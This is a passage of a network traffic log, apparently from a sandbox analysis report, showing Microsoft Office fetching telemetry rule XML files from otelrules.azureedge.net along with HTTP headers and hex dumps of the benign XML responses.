10	192.168.2.5	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:20 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:21 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:20 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 26663d07-401e-0029-2faf-319b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052320Z-16547b76f7f2g4rlhC1DFWnx880000000f0g00000000k291 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:21 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:20 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:20 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 18edf7b2-e01e-0003-11a0-340fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052320Z-17df447cdb54ntx4hC1DFW2k400000000bs000000000c5wb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:21 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:20 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:21 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:20 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: dcc6854f-e01e-0051-7b03-2d84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052320Z-16547b76f7fp6mhthC1DFWrggn0000000f7g00000000fc5e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:21 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:20 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:21 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:21 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 9f0f5f99-201e-0096-25f1-2cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052321Z-16547b76f7f22sh5hC1DFWyb4w0000000f40000000007qfs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:21 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:21 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:22 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:22 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: a35867fd-a01e-000d-5aa0-34d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052322Z-17df447cdb5rnd49hC1DFWgmpw00000005s000000000h2y5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:22 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:21 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:22 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1a2e7d6b-a01e-000d-7bfc-2cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052322Z-16547b76f7flf9g6hC1DFWmcx800000005qg00000000bbb7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:22 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:21 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:22 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:22 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 41fe7c09-d01e-0028-68a0-347896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052322Z-15869dbbcc6x4rp4hC1DFW5xa800000000hg0000000028k2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:22 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:21 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:22 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 84a9668d-801e-0078-5fa0-34bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052322Z-15869dbbcc6tjwwhhC1DFWn22800000008ng000000002aqb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:21 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:22 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 23cb21e1-e01e-0052-4e08-2cd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052322Z-16547b76f7fx6rhxhC1DFW76kg0000000f7g0000000036m7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:22 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:23 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:23 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 30929569-101e-008d-79ff-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052323Z-16547b76f7fkj7j4hC1DFW0a9g0000000f5g000000009vmk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:23 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 2e9646c6-a01e-0098-2aa5-348556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052323Z-17df447cdb57srlrhC1DFWwgas0000000bx000000000683x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:23 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:23 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 933b6e18-c01e-0079-6ca0-34e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052323Z-15869dbbcc6xpvqthC1DFWq7d800000008s000000000312y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
